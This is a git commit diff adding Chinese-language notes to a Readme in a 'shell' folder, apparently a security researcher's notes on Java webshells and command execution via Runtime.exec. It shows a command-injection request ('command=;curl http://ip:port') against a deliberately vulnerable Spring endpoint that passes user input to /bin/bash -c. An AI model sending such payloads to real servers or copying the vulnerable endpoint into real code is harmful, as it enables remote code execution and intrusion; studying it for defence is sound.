Update Readme.md

Firebasky · web-flow · commit 73363fe04fb6 · 2021-12-21T00:28:51.000+08:00
diff --git a/shell/Readme.md b/shell/Readme.md
@@ -5,3 +5,29 @@
 
 
 + [一种新型Java一句话木马的实现](https://xz.aliyun.com/t/9715)
+
+## 命令执行的tips
+
+https://www.anquanke.com/post/id/243329
+
+https://xz.aliyun.com/t/7046
+
+**其实说到底是java.lang.Runtime#exec(string)一个对命令进行了空格切分（导致切分不合本意），另一个string[]是自己去分离可以执行**
+
+下面代码是可以执行的
+
+/cmd?command=;curl http://ip:port
+
+```java
+@GetMapping(value = "/cmd")
+public void cmd(@RequestParam String command) throws Exception {
+    String[] c = { "/bin/bash","-c", "hacker "+ command };///bin/bash -c hacker;ls
+    Process p = Runtime.getRuntime().exec(c);
+}
+```
+
+下面是不能执行的
+```java
+Command = "ping 127.0.0.1"+request.getParameter("cmd");
+Runtime.getRuntime().exec(command);
+```
